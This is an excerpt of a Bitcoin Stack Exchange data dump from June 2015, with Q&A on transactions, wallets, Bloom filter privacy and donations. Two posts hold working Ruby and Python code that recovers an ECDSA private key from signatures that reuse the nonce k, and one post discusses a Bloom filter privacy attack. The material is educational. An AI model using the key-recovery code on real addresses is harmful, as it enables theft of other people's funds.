  <row Id="37749" PostTypeId="1" AcceptedAnswerId="37750" CreationDate="2015-06-02T16:54:38.430" Score="0" ViewCount="190" Body="&lt;p&gt;First things first, I'm a newbie in everything related to bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm analyzing a few tens of addresses checking which ones have received payments, and one of them is the following: &lt;a href=&quot;https://blockchain.info/address/121orLQW2LanEtso2htwZSfZ3vV4toLKt6&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/121orLQW2LanEtso2htwZSfZ3vV4toLKt6&lt;/a&gt;. I'm not sure about what I'm seeing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that the owner of the wallet &lt;code&gt;121orLQW2LanEtso2htwZSfZ3vV4toLKt6&lt;/code&gt; received a payment of 0.0001 BTC from two different people, the owner of &lt;code&gt;1E9b2CvbB9pKT617zNbxoVNH65XqMjarPX&lt;/code&gt; and the owner of &lt;code&gt;1JXstXTaeg6eH3wCXvdC7TYSA8ntWAsPc8&lt;/code&gt;. But if this was the case (I think it's not), why are both payments grouped on the same transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if I click to enable advanced view at the bottom of the page, I see that the first paid 0.0001 and the second 0.00010782, however the overall income was 0.0001 instead of 0.0002+.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, what I'm asking is if you can explain me the transaction on that link.&lt;/p&gt;&#xA;" OwnerUserId="26759" LastActivityDate="2015-06-02T17:23:26.827" Title="What does this transaction mean?" Tags="|transactions|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37750" PostTypeId="2" ParentId="37749" CreationDate="2015-06-02T17:23:26.827" Score="3" Body="&lt;p&gt;The owner of &lt;code&gt;1E9b2CvbB9pKT617zNbxoVNH65XqMjarPX&lt;/code&gt; is likely the same person as the owner of &lt;code&gt;1JXstXTaeg6eH3wCXvdC7TYSA8ntWAsPc8&lt;/code&gt;. A single user can have as many addresses as they want. When the sender wished to send .0001 BTC to &lt;code&gt;121orLQW2LanEtso2htwZSfZ3vV4toLKt6&lt;/code&gt;, two of their addresses were emptied to meet the required amount. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The inputs sum up to .00020782, but only .0001 is sent to &lt;code&gt;121orLQW2LanEtso2htwZSfZ3vV4toLKt6&lt;/code&gt;. The remaining .00010782 was used as a miner's fee, and went to the miner who mined the block this transaction is included in. &lt;/p&gt;&#xA;" OwnerUserId="18227" LastActivityDate="2015-06-02T17:23:26.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37751" PostTypeId="2" ParentId="37744" CreationDate="2015-06-02T17:49:46.030" Score="2" Body="&lt;p&gt;You can generate several blocks and put (block_height, block_hash) pairs into the following field. Or just delete all of the checkingpoints : )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static Checkpoints::MapCheckpoints mapCheckpoints =&#xA;        boost::assign::map_list_of&#xA;        ( BLOCK_HEIGHT, uint256S(&quot;0xBLOCK_HASH&quot;));&#xA;&#xA;&#xA;static const Checkpoints::CCheckpointData data = {&#xA;        &amp;amp;mapCheckpoints,&#xA;       bitcoin-cli getblock [last checkpoint block], then get the unix time, // * UNIX timestamp of last checkpoint block&#xA;        Write a script to count?,   // * total number of transactions between genesis and last checkpoint&#xA;                    //   (the tx=... number in the SetBestChain debug.log lines)&#xA;        estimate_a_number     // * estimated number of transactions per day after checkpoint&#xA;    };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-06-02T17:49:46.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37753" PostTypeId="2" ParentId="37742" CreationDate="2015-06-02T18:14:28.667" Score="1" Body="&lt;p&gt;If the input is coinbase transaction, you can't spent it until it get 100 confirmations. Relevant code is &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/1d9d314573ee48f6f51107265f1cf1fa9e36c998/src/consensus/consensus.h#L14&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; &lt;br&gt;&#xA;If the input is not a coinbase transaction, you can spend it by creating a raw transaction &lt;a href=&quot;https://bitcoin.org/en/developer-examples#simple-spending&quot; rel=&quot;nofollow&quot;&gt;How To Create A Raw Transaction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, receiving input with 0 confirmation is not recommended. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Zero-confirmation transaction vulnerability: accepting&#xA;  zero-confirmation transactions (transactions that have not yet been&#xA;  included in a block) from somebody you do not trust is still not&#xA;  recommended, because there will always be ways for attackers to&#xA;  double-spend zero-confirmation transactions. However, this release&#xA;  includes a bug fix that makes it a little bit more difficult for&#xA;  attackers to double-spend a certain type (&quot;lockTime in the future&quot;) of&#xA;  zero-confirmation transaction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-06-02T18:14:28.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37754" PostTypeId="1" AcceptedAnswerId="37766" CreationDate="2015-06-02T18:23:22.210" Score="0" ViewCount="439" Body="&lt;p&gt;How many block locator hashes are sent in a &lt;code&gt;getblocks&lt;/code&gt; message? And how distant are these locator hashes from one another?&lt;/p&gt;&#xA;" OwnerUserId="24556" LastActivityDate="2015-06-03T12:28:17.630" Title="Amount of block locator hashes in &quot;getblocks&quot; message" Tags="|blockchain|block|blockchain-fork|message|block-header|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37755" PostTypeId="2" ParentId="37739" CreationDate="2015-06-02T19:45:54.997" Score="9" Body="&lt;p&gt;With Electrum 2.x, a wallet can contain either keys you've imported from elsewhere, or keys which are generated (deterministically) by Electrum. You cannot store both types of keys in a single Electrum 2.x wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since your wallet is of the former type, Electrum will refuse to generate any new keys for your wallet. I suspect the reason for this is to make it as clear as possible what you need to back up: with your type of wallet, &lt;em&gt;you&lt;/em&gt; are responsible for backing up all of your individual keys. With a &lt;em&gt;deterministic&lt;/em&gt; wallet, you need only write down and store your one recovery seed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new wallet (File -&gt; New/Restore), choosing a new &quot;Standard wallet&quot; when prompted. Be sure to write down your recovery seed and keep it in a safe location!&lt;/li&gt;&#xA;&lt;li&gt;Create additional keys via some other means, and import them into Electrum (Wallet -&gt; Private keys -&gt; Import), and handle your own backups.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd choose option 1 if I were you....&lt;/p&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-06-02T19:45:54.997" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37756" PostTypeId="1" AcceptedAnswerId="37759" CreationDate="2015-06-02T20:58:30.683" Score="4" ViewCount="501" Body="&lt;p&gt;The paper, &lt;a href=&quot;http://eprint.iacr.org/2014/763.pdf&quot; rel=&quot;nofollow&quot;&gt;On the Privacy Provisions of Bloom Filters in Lightweight&#xA;Bitcoin Clients&lt;/a&gt; has this to say about Bloom filters in SPV:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...Indeed, in current implementations of SPV clients [BitcoinJ], both&#xA;  the addresses and their public keys are inserted in the outsourced&#xA;  Bloom filter. As such, if the adversary knows both the address and&#xA;  its public key, then she can trivially test whether an address is a&#xA;  true positive of the filter by checking whether both the address and&#xA;  its public key are inserted within the filter. If not, then it is highly&#xA;  likely that the address is a false positive of the filter. &lt;em&gt;We believe that&#xA;  the inclusion of both the address and its public key in the Bloom filter&#xA;  is a severe flaw in the current SPV client implementations—and&#xA;  can be easily countered&lt;/em&gt;; we thus do not exploit this flaw in our analysis.&#xA;  In fact, more than 99% of all Bitcoin transactions consist of&#xA;  payments to Bitcoin addresses (or the public key hash); moreover,&#xA;  only 4587 out of 33 million total addresses in the system received&#xA;  transactions destined for both their public keys and their public key&#xA;  hashes. This means that for the vast majority of Bitcoin clients,&#xA;  there is no need to include both the public keys and their hashes&#xA;  (i.e., the Bitcoin addresses) in the Bloom filters; inserting one or&#xA;  the other would suffice (in more than 99% of the cases). [my emphasis]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The idea behind this attack was re-iterated in &lt;a href=&quot;https://jonasnick.github.io/blog/2015/02/12/privacy-in-bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;Privacy in BitcoinJ&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The vulnerability is that if a pubkey is truly in the filter then querying both pubkey and pubkeyhash must return true. Because the pubkeyhash is just another almost uniformly random string, the probability of a false positive for the attacker is fp' = fp^2 = 0.0000000021555. I obtained around 56 million pubkeys from the blockchain (mid-January), which theoretically results in 56 million * fp' = 1.29 expected false positives when scanning the blockchain.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, a simple attack is enough to pick out all of the public keys from a BitcoinJ Bloom filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the current release of BitcoinJ add both a public key and its hash value to its Bloom filters? If not, which release stopped it from occuring?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, why were both public keys and hashes added in the first place?&lt;/p&gt;&#xA;" OwnerUserId="10845" LastEditorUserId="2306" LastEditDate="2015-06-03T04:35:41.997" LastActivityDate="2016-08-25T13:02:58.857" Title="Are public keys and their corresponding hash values both added to a BitcoinJ Bloom filter?" Tags="|bitcoinj|privacy|spv|bip37-bloom-filter|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37757" PostTypeId="1" CreationDate="2015-06-03T00:18:24.270" Score="1" ViewCount="424" Body="&lt;p&gt;There have been estimates of the number of published addresses. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/charts/n-unique-addresses&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/charts/n-unique-addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(this chart seems to be underestimating the address count)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm interested in the number of public keys. Most of them would be obtained from transaction inputs containing P2PKH response scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://jonasnick.github.io/blog/2015/02/12/privacy-in-bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;This article&lt;/a&gt; suggests there are at least 56 million, but doesn't describe how this number was found or if the raw data are available:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... I obtained around 56 million pubkeys from the blockchain (mid-January) [2015] ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there a convenient source that gives the number of published public keys in real time?&lt;/p&gt;&#xA;" OwnerUserId="10845" LastEditorUserId="10845" LastEditDate="2015-06-03T00:27:59.417" LastActivityDate="2015-06-03T19:31:21.850" Title="How many unique public keys have been published to the block chain?" Tags="|public-key|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37758" PostTypeId="2" ParentId="37748" CreationDate="2015-06-03T04:25:42.963" Score="1" Body="&lt;p&gt;You need the private key for the watch only address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you've kept the wallet.dat file for Bitcoin core (otherwise you're out of luck), open the console under help in Bitcoin core, then type &lt;code&gt;dumpprivkey x&lt;/code&gt; where &lt;code&gt;x&lt;/code&gt; is your Bitcoin address. You may need to unlock your wallet first with &lt;code&gt;walletpassphrase XXXX 99&lt;/code&gt; where &lt;code&gt;XXXX&lt;/code&gt; is your password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dumped privkey will be in WIF format (5J/K/H... or K/L...). &#xA;Use Electrum's console tab to import this key: &lt;code&gt;importprivkey WIF&lt;/code&gt; where &lt;code&gt;WIF&lt;/code&gt; is the WIF key&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-06-03T04:25:42.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37759" PostTypeId="2" ParentId="37756" CreationDate="2015-06-03T04:29:50.723" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does the current release of BitcoinJ add both a public key and its hash value to its Bloom filters? If not, which release stopped it from occuring?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. The following code implements it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Inserts the given key and equivalent hashed form (for the address). */&#xA;public synchronized void insert(ECKey key) {&#xA;    insert(key.getPubKey());&#xA;    insert(key.getPubKeyHash());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoinj/bitcoinj/blob/e0870efd61e19b971664aaaea384e9e1cebcc7ae/core/src/main/java/org/bitcoinj/core/BloomFilter.java#L239&quot; rel=&quot;nofollow&quot;&gt;(Source.)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, why were both public keys and hashes added in the first place?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not the guy who wrote this (Mike Hearn). That said, I would guess that it's difficult to tell whether deposits to an address will be in P2PKH or P2PK form. Pay to Public Key is really uncommon, but it is legal. Given the choice between having some of his customer's money go missing for mysterious reasons, or reducing their privacy, he chose the latter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you're asking why &lt;code&gt;filterload&lt;/code&gt; doesn't just take the HASH160 of a key before comparing it to the bloom filter so that a thin client can look for both the hash and the key at the same time, I don't know. That seems like it would fix the problem mentioned in that paper for a pretty reasonable amount of CPU time. I would blame the author of &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0037.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP37&lt;/a&gt;, but that was written by the same guy.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2016-08-25T13:02:58.857" LastActivityDate="2016-08-25T13:02:58.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37760" PostTypeId="1" CreationDate="2015-06-03T07:11:33.057" Score="0" ViewCount="1912" Body="&lt;pre&gt;&lt;code&gt;require 'ecdsa'&#xA;&#xA;public_key_hex = '02a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b364'&#xA;msghash1_hex = '01b125d18422cdfa7b153f5bcf5b01927cf59791d1d9810009c70cd37b14f4e6'&#xA;msghash2_hex = '339ff7b1ced3a45c988b3e4e239ea745db3b2b3fda6208134691bd2e4a37d6e1'&#xA;sig1_hex = '304402200861cce1da15fc2dd79f1164c4f7b3e6c1526e7e8d85716578689ca9a5dc349d02206cf26e2776f7c94cafcee05cc810471ddca16fa864d13d57bee1c06ce39a3188'&#xA;sig2_hex = '304402200861cce1da15fc2dd79f1164c4f7b3e6c1526e7e8d85716578689ca9a5dc349d02204ba75bdda43b3aab84b895cfd9ef13a477182657faaf286a7b0d25f0cb9a7de2'&#xA;&#xA;group = ECDSA::Group::Secp256k1&#xA;&#xA;def hex_to_binary(str)&#xA;str.scan(/../).map(&amp;amp;:hex).pack('C*')&#xA;end&#xA;&#xA;public_key_str = hex_to_binary(public_key_hex)&#xA;public_key = ECDSA::Format::PointOctetString.decode(public_key_str, group)&#xA;&#xA;puts 'public key x: %#x' % public_key.x&#xA;puts 'public key y: %#x' % public_key.y&#xA;&#xA;msghash1 = hex_to_binary(msghash1_hex)&#xA;msghash2 = hex_to_binary(msghash2_hex)&#xA;sig1 = ECDSA::Format::SignatureDerString.decode(hex_to_binary(sig1_hex))&#xA;sig2 = ECDSA::Format::SignatureDerString.decode(hex_to_binary(sig2_hex))&#xA;&#xA;raise 'R values are not the same' if sig1.r != sig2.r&#xA;&#xA;r = sig1.r&#xA;puts 'sig r: %#x' % r&#xA;puts 'sig1 s: %#x' % sig1.s&#xA;puts 'sig2 s: %#x' % sig2.s&#xA;&#xA;sig1_valid = ECDSA.valid_signature?(public_key, msghash1, sig1)&#xA;sig2_valid = ECDSA.valid_signature?(public_key, msghash2, sig2)&#xA;puts &quot;sig1 valid: #{sig1_valid}&quot;&#xA;puts &quot;sig2 valid: #{sig2_valid}&quot;&#xA;&#xA;# Step 1: k = (z1 - z2)/(s1 - s2)&#xA;field = ECDSA::PrimeField.new(group.order)&#xA;z1 = ECDSA::Format::IntegerOctetString.decode(msghash1)&#xA;z2 = ECDSA::Format::IntegerOctetString.decode(msghash2)&#xA;&#xA;k_candidates = [&#xA;field.mod((z1 - z2) * field.inverse(sig1.s - sig2.s)),&#xA;field.mod((z1 - z2) * field.inverse(sig1.s + sig2.s)),&#xA;field.mod((z1 - z2) * field.inverse(-sig1.s - sig2.s)),&#xA;field.mod((z1 - z2) * field.inverse(-sig1.s + sig2.s)),&#xA;]&#xA;&#xA;private_key = nil&#xA;k_candidates.each do |k|&#xA; next unless group.new_point(k).x == r&#xA; private_key_maybe = field.mod(field.mod(sig1.s * k - z1) * field.inverse(r))&#xA; if public_key == group.new_point(private_key_maybe)&#xA;  private_key = private_key_maybe&#xA; end&#xA;end&#xA;&#xA;puts 'private key: %#x' % private_key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;some one please convert above code into python please from&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35848/recovering-private-key-when-someone-uses-the-same-k-twice-in-ecdsa-signatures/35850#35850&quot;&gt;Recovering private key when someone uses the same k twice in ECDSA signatures&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26602" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-06-03T23:20:54.783" Title="converting RUBY script into PYTHON ( Recovering private key when someone uses the same k twice )" Tags="|transactions|signature|ecdsa|python|ruby|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37762" PostTypeId="2" ParentId="37760" CreationDate="2015-06-03T08:14:00.383" Score="1" Body="&lt;p&gt;Here's what I've been doing recently in Python. This isn't a very complete solution (it doesn't validate its input, it requires that you've already decoded the signature into r &amp;amp; s, it doesn't derive a public key or address from the private key, it doesn't deal with signature malleability issues, it only works with certain types of curves such as Bitcoin's secp256k1), but it should be adequate in most cases.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;n  = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141  # order of base point G&#xA;r  = 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1&#xA;s1 = 0x78c9d47ef31caf0102f9ae2489d7c78ab51692ddd898b6eb20b16a0d25b01c78&#xA;z1 = 0x4435b0704795962ac9efe71b841a5366434f552d8b5beca04a48426c15fd9ad7&#xA;s2 = 0x240bcda3967d66c71c92ffc4c4486d99968183f198c5fe1612a5cc99a05ba99a&#xA;z2 = 0x6b8bb3201a7ce4c7ed72eddc46d9b6d7350bc2eb8c28df9763518de8d66b0b52&#xA;&#xA;def modinv(x, n=n): return pow(x, n-2, n)  # modular multiplicative inverse (requires that n is prime)&#xA;&#xA;k = (z1 - z2) * modinv(s1 - s2) % n ; print('k = {:x}'.format(k))&#xA;print('privkey = {:x}'.format( (s1 * k - z1) * modinv(r) % n ))  # these two should&#xA;print('privkey = {:x}'.format( (s2 * k - z2) * modinv(r) % n ))  # be the same&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Updated code&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Here's a more complete (but also more difficult to read) version which which (a) displays different possibilities to compensate for negated s values (as noted by &lt;a href=&quot;https://bitcoin.stackexchange.com/users/6091/david-grayson&quot;&gt;David Grayson&lt;/a&gt; in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35848/recovering-private-key-when-someone-uses-the-same-k-twice-in-ecdsa-signatures/35850#35850&quot;&gt;this answer&lt;/a&gt;), and (b) verifies the private key against the signature-derived public keys if you have &lt;a href=&quot;https://pypi.python.org/pypi/pycoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;pycoin&lt;/a&gt; installed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# order of base point G of secp256k1&#xA;n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141&#xA;&#xA;# modular multiplicative inverse (requires that n is prime)&#xA;def modinv(x, n=n):&#xA;    return pow(x, n-2, n)&#xA;&#xA;# the two k candidates which aren't just negations of themselves&#xA;def k_candidates(s1, z1, s2, z2, n=n):&#xA;    z1_z2 = z1 - z2&#xA;    yield z1_z2 * modinv(s1 - s2, n) % n&#xA;    yield z1_z2 * modinv(s1 + s2, n) % n&#xA;&#xA;# generates two tuples, each with (privkey, k_possibility_1, k_possibility_2)&#xA;def privkey_k_candidates(r, s1, z1, s2, z2, n=n):&#xA;    modinv_r = modinv(r, n)&#xA;    for k in k_candidates(s1, z1, s2, z2, n):&#xA;        yield (s1 * k - z1) * modinv_r % n,  k,  -k % n&#xA;&#xA;&#xA;r  = 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1&#xA;s1 = 0x78c9d47ef31caf0102f9ae2489d7c78ab51692ddd898b6eb20b16a0d25b01c78&#xA;z1 = 0x4435b0704795962ac9efe71b841a5366434f552d8b5beca04a48426c15fd9ad7&#xA;s2 = 0x240bcda3967d66c71c92ffc4c4486d99968183f198c5fe1612a5cc99a05ba99a&#xA;z2 = 0x6b8bb3201a7ce4c7ed72eddc46d9b6d7350bc2eb8c28df9763518de8d66b0b52&#xA;&#xA;try:&#xA;    from pycoin.ecdsa import *&#xA;    pubkeys = possible_public_pairs_for_signature(generator_secp256k1, z1, (r, s1))&#xA;    for privkey, k1, k2 in privkey_k_candidates(r, s1, z1, s2, z2):&#xA;        if public_pair_for_secret_exponent(generator_secp256k1, privkey) in pubkeys:&#xA;            print('k       = {:x}'.format(k1))&#xA;            print('or k    = {:x}'.format(k2))&#xA;            print('privkey = {:x}'.format(privkey))&#xA;            break&#xA;    else:&#xA;        print('privkey not found')&#xA;&#xA;except ImportError:&#xA;    for privkey, k1, k2 in privkey_k_candidates(r, s1, z1, s2, z2):&#xA;        print('possible k       = {:x}'  .format(k1))&#xA;        print('possible k       = {:x}'  .format(k2))&#xA;        print('possible privkey = {:x}\n'.format(privkey))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-06-03T23:20:54.783" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="37763" PostTypeId="2" ParentId="37732" CreationDate="2015-06-03T10:18:06.243" Score="2" Body="&lt;p&gt;In general, each wallet has its own set of addresses and private key chain. There is no way to log into your Bitcoin wallet, as there is no central service that is providing it to you, rather it is just locally stored on your device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would &lt;strong&gt;not recommend&lt;/strong&gt; trying to share the same set of keys between different wallets, as it would increase the attack vectors on your money. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather, you might want to just send most of your bitcoins to whichever storage you expect to be most secure, and hold a spending amount on the other devices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to see the coins on other devices, you may look up the specific address on a blockchain explorer such as blockchain.info, or read up on &quot;watch only wallet&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-03T12:03:38.300" LastActivityDate="2015-06-03T12:03:38.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37764" PostTypeId="1" AcceptedAnswerId="41283" CreationDate="2015-06-03T10:57:42.127" Score="3" ViewCount="1224" Body="&lt;p&gt;What are the best criticisms of blockchain technology? Specifically, what are the top flaws of the blockchain as it's currently implemented by Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2017-08-10T23:07:29.153" Title="What are the best criticisms of blockchain technology?" Tags="|blockchain|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37765" PostTypeId="1" CreationDate="2015-06-03T11:41:07.470" Score="1" ViewCount="77" Body="&lt;p&gt;In the NXT documentation it says that the Peer protocol uses TCP.  But looking through the code all I see is HTTP.  Does NXT use HTTP or TCP for the Peer protocol?&lt;/p&gt;&#xA;" OwnerUserId="25260" LastActivityDate="2015-06-04T11:25:05.670" Title="Nxt: TCP, HTTP, or both" Tags="|nxt|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37766" PostTypeId="2" ParentId="37754" CreationDate="2015-06-03T12:28:17.630" Score="0" Body="&lt;p&gt;&lt;code&gt;getblocks&lt;/code&gt; message pushes a maximum of 500 block &lt;code&gt;inv&lt;/code&gt;s to the caller. It will lookup the given block locater in the active chain and pushes up to 500 MSG_BLOCK invs to the caller (it might stop earlier because the called node reaches the chain tip). The corresponding code for bitcoin-core 0.10 can be found here (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.10/src/main.cpp#L3888&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/0.10/src/main.cpp#L3888&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also notice that bitcoin-core now uses the headers first approach and therefore getblocks is no longer in use when acting as a &quot;calling node&quot;.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-06-03T12:28:17.630" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="37767" PostTypeId="5" CreationDate="2015-06-03T12:36:37.347" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-03T12:36:37.347" LastActivityDate="2015-06-03T12:36:37.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37768" PostTypeId="4" CreationDate="2015-06-03T12:36:37.347" Score="0" Body="Concerned with questions about the challenges and benefits of using Bitcoin during traveling." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-03T12:36:37.347" LastActivityDate="2015-06-03T12:36:37.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37769" PostTypeId="1" CreationDate="2015-06-03T14:39:59.593" Score="1" ViewCount="228" Body="&lt;p&gt;I am running a game giveaway group on Steam.&#xA;What is the best way to accept donations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S I am completely and utterly new to Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="26764" LastEditorUserId="5406" LastEditDate="2015-06-03T15:35:16.237" LastActivityDate="2015-06-04T14:36:58.163" Title="How do you accept bitcoin donations on a steam group?" Tags="|donation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37770" PostTypeId="2" ParentId="37769" CreationDate="2015-06-03T15:01:08.683" Score="0" Body="&lt;h1&gt;You can take the independent way and create your own receiving address generation:&lt;/h1&gt;&#xA;&lt;p&gt;Therefore you could place a HD(bip32) public master key (or non hardened child public key like m/44'/0'/0'/100) on your webserver and generate a new address whenever a potential donator presses &amp;quot;donate&amp;quot;. Just increment the child index +1 (=m/44'/0'/0'/100/&amp;lt;1..2..3..n&amp;gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Important: this needs a secure server environment because an attacker could replace the master public key and make donations sent to his address!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Spending the received coins would require the master private key (or child private key like m/44'/0'/0'/100). It's recommended to keep this key in a cold wallet.&lt;/p&gt;&#xA;&lt;p&gt;You could further improve your security by using &lt;strong&gt;2of2 or 2of3 multisig&lt;/strong&gt; which somehow is recommended for this use case.&lt;/p&gt;&#xA;&lt;p&gt;Example: wikileaks &lt;a href=&quot;https://shop.wikileaks.org/donate&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://shop.wikileaks.org/donate&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;You can take the easy, but more centralized way:&lt;/h1&gt;&#xA;&lt;p&gt;Accept donations over a bitcoin payment provider like BitPay or Coinbase.&#xA;Check &lt;a href=&quot;https://bitpay.com/docs/donations&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitpay.com/docs/donations&lt;/a&gt; and &lt;a href=&quot;https://developers.coinbase.com/docs/wallet/tutorials/donations&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developers.coinbase.com/docs/wallet/tutorials/donations&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Examples:&#xA;Mozilla uses coinbase: &lt;a href=&quot;https://sendto.mozilla.org/page/content/give-bitcoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://sendto.mozilla.org/page/content/give-bitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3697" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-06-03T15:01:08.683" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
